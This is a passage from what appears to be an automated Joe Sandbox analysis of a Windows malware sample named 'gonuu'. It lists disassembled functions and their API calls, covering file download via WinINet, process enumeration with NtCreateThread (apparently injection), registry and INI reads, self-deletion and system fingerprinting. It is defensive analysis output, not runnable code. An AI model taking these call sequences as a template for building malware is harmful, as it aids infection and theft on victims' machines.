      • Part of subcall function 0041C672: WaitForMultipleObjects.KERNEL32(?,004329A4,00000001,000000FF), ref: 0041C684
      • Part of subcall function 0041C695: CloseHandle.KERNEL32(?), ref: 0041C6A3
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00424191, Relevance: 9.2, APIs: 6, Instructions: 169
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00424206
    • StrStrIW.SHLWAPI(?,?), ref: 0042429D
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 004242C5
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 004242E2
    • GetPrivateProfileStringW.KERNEL32(?,000000FF,00000000,?,000000FF,?), ref: 00424313
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00424334
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00407F95, Relevance: 9.2, APIs: 6, Instructions: 154
    APIs
    • GetMenuState.USER32 ref: 00407F95
    • LoadAcceleratorsW.USER32 ref: 00407F9B
    • SetMapMode.GDI32 ref: 00407FA1
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00416171, Relevance: 9.1, APIs: 6, Instructions: 143
    APIs
    • GetACP.KERNEL32 ref: 00416171
    • GetSystemMetrics.USER32 ref: 00416177
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004161A5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00423D7F, Relevance: 9.1, APIs: 6, Instructions: 142
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00423DB6
    • StrStrIW.SHLWAPI(?,?), ref: 00423E48
    • StrStrIW.SHLWAPI(?,?), ref: 00423E59
    • GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00423E75
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423E93
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423EAD
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00416295, Relevance: 9.1, APIs: 6, Instructions: 86
    APIs
    • GetSubMenu.USER32 ref: 00416295
    • ReadFile.KERNEL32 ref: 0041629B
    • GetCurrentProcessId.KERNEL32 ref: 004162A1
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042A8DC, Relevance: 9.1, APIs: 6, Instructions: 79
    APIs
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A902
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A915
      • Part of subcall function 00429DD0: SetEvent.KERNEL32(0042A925), ref: 00429DD6
      • Part of subcall function 00429DD0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00429DF0
      • Part of subcall function 004203CF: SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 0042040E
      • Part of subcall function 004203CF: Sleep.KERNEL32(000001F4), ref: 0042041D
      • Part of subcall function 004203CF: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00420432
      • Part of subcall function 004203CF: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 0042044A
      • Part of subcall function 004203CF: RegCloseKey.ADVAPI32(?), ref: 00420459
      • Part of subcall function 0041DCBF: FindFirstFileW.KERNEL32(?,?), ref: 0041DCF0
      • Part of subcall function 0041DCBF: FindNextFileW.KERNEL32(?,?), ref: 0041DD4B
      • Part of subcall function 0041DCBF: FindClose.KERNEL32 ref: 0041DD56
      • Part of subcall function 0041DCBF: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041DD62
      • Part of subcall function 0041DCBF: RemoveDirectoryW.KERNEL32(?), ref: 0041DD69
    • SHDeleteKeyW.SHLWAPI(80000001,?), ref: 0042A953
    • CharToOemW.USER32(?,?), ref: 0042A96F
    • CharToOemW.USER32(?,?), ref: 0042A97E
      • Part of subcall function 00418ED6: wvnsprintfA.SHLWAPI(?,0000026C,?,?), ref: 00418EF2
    • ExitProcess.KERNEL32(00000000), ref: 0042A9D6
      • Part of subcall function 00419F62: CharToOemW.USER32(?,?), ref: 00419F93
      • Part of subcall function 00419F62: GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 0041A00F
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041A327, Relevance: 9.1, APIs: 6, Instructions: 74
    APIs
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041A347
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 0041A375
    • InternetReadFile.WININET(?,?,00001000,?), ref: 0041A391
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0041A3AC
    • FlushFileBuffers.KERNEL32 ref: 0041A3CC
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CloseHandle.KERNEL32 ref: 0041A3DF
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041CC75, Relevance: 9.1, APIs: 6, Instructions: 72
    APIs
    • WindowFromPoint.USER32(?,?), ref: 0041CC91
    • SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 0041CCC2
    • GetWindowLongW.USER32(?,000000F0), ref: 0041CCE6
    • SetWindowLongW.USER32(?,000000F0), ref: 0041CCF7
    • GetWindowLongW.USER32(00000002,000000F0), ref: 0041CD14
    • SetWindowLongW.USER32(?,000000F0), ref: 0041CD22
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004283EA, Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 63
    APIs
    • EnterCriticalSection.KERNEL32(00434170,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428407
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • LeaveCriticalSection.KERNEL32(00434170,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428428
    • EnterCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428439
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
    • LeaveCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 004284C1
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040924C, Relevance: 9.1, APIs: 6, Instructions: 57
    APIs
    • InterlockedExchange.KERNEL32(00433060,00000000,7C80AE40), ref: 00409261
    • InterlockedExchange.KERNEL32(00433040,00000000), ref: 0040926A
    • InitializeCriticalSection.KERNEL32(00433018), ref: 00409271
    • GetProcAddress.KERNEL32(?,?), ref: 004092D1
    • GetProcAddress.KERNEL32(?), ref: 004092E2
    • GetProcAddress.KERNEL32(?), ref: 004092F2
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00414962, Relevance: 9.1, APIs: 6, Instructions: 54
    APIs
    • GetUpdateRgn.USER32(?,?,?), ref: 004149EA
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • TlsGetValue.KERNEL32 ref: 00414982
    • SetRectRgn.GDI32(?,?,?,?,?), ref: 004149A2
    • SaveDC.GDI32(?), ref: 004149B2
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 004149C2
    • RestoreDC.GDI32(?), ref: 004149D4
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00419656, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
    • CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
    • CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
    • CryptDestroyHash.ADVAPI32(?), ref: 004196D2
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00428AB9, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238
    APIs
    • GetTickCount.KERNEL32 ref: 00428BB5
    • GetUserDefaultUILanguage.KERNEL32 ref: 00428C06
    • GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00428C4B
    • GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00428C91
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
      • Part of subcall function 0040AD37: GetVersionExW.KERNEL32(?), ref: 0040AD5B
      • Part of subcall function 0040AD37: GetNativeSystemInfo.KERNEL32(?), ref: 0040AD6A
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00418245: GetSystemTime.KERNEL32(?), ref: 0041824F
      • Part of subcall function 00418245: SystemTimeToFileTime.KERNEL32(?,?), ref: 0041825D
      • Part of subcall function 0041826D: GetTimeZoneInformation.KERNEL32(?), ref: 0041827C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00409A3B, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 142
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00415A0A, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00415AC6
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00415ADA, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 108
    APIs
    • TranslateAcceleratorW.USER32 ref: 00415ADA
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041C8C5, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103
    APIs
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
    • CharUpperW.USER32(?,?,.exe,00000000), ref: 0041C9E6
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041508A, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97
    APIs
    • MapViewOfFile.KERNEL32 ref: 0041508A
    • MapAndLoad.IMAGEHLP(K8P,y6uNRR,?,00000000,00000000), ref: 0041516D
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042667A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86
    APIs
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • NtQueryInformationProcess.NTDLL(?,00000000,?,00000018), ref: 004266A7
    • GetProcessImageFileNameW.PSAPI(?,?,00000104), ref: 004266CB
      • Part of subcall function 00414EBF: CharLowerW.USER32 ref: 00414EF2
    • CloseHandle.KERNEL32 ref: 00426760
      • Part of subcall function 00419B15: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00419B22
      • Part of subcall function 00419B15: Thread32First.KERNEL32(?,?), ref: 00419B3D
      • Part of subcall function 00419B15: Thread32Next.KERNEL32(?,0000001C), ref: 00419B53
      • Part of subcall function 00419B15: CloseHandle.KERNEL32 ref: 00419B5E
      • Part of subcall function 00407E34: CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00407E7C
      • Part of subcall function 00407F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00407F40
      • Part of subcall function 00407F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 0040802C
    • NtCreateThread.NTDLL(?,?,?,?), ref: 0042677C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040ADB4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
    APIs
    • ConvertSidToStringSidW.ADVAPI32(?,?), ref: 0040ADC8
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • LocalFree.KERNEL32(?), ref: 0040AE5A
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • PathUnquoteSpacesW.SHLWAPI(?), ref: 0040AE31
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0040AE42
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00409ED1, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
    APIs
    • GetTextExtentPoint32W.GDI32 ref: 00409ED1
    • LoadImageW.USER32 ref: 00409ED7
    • GetTimeFormatW.KERNEL32 ref: 00409EDD
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A10E, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
    APIs
    • GetTickCount.KERNEL32 ref: 0040A10E
    • GetUserDefaultUILanguage.KERNEL32 ref: 0040A114
    • DispatchMessageW.USER32 ref: 0040A11A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041A06B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
    APIs
    • InternetOpenA.WININET(?,?,00000000,00000000,00000000), ref: 0041A082
    • InternetSetOptionA.WININET(?,00000002,0043253C,00000004), ref: 0041A0A1
    • InternetConnectA.WININET(?,00000000,00000000,00000000,00000000,00000003,00000000,00000000), ref: 0041A0BE
    • InternetCloseHandle.WININET ref: 0041A0CA
    Strings
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1), xrefs: 0041A073, 0041A081
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041A52D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43
    APIs
    • LoadLibraryA.KERNEL32(urlmon.dll), ref: 0041A53E
    • GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 0041A551
    • FreeLibrary.KERNEL32(?), ref: 0041A5A2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00427234, Relevance: 7.7, APIs: 5, Instructions: 184
    APIs
    • InterlockedExchange.KERNEL32(00434140,00000000), ref: 00427252
    • InterlockedExchange.KERNEL32(00434120,00000000), ref: 0042725A
    • InitializeCriticalSection.KERNEL32(004340F8), ref: 00427261
      • Part of subcall function 0041C768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0041C780
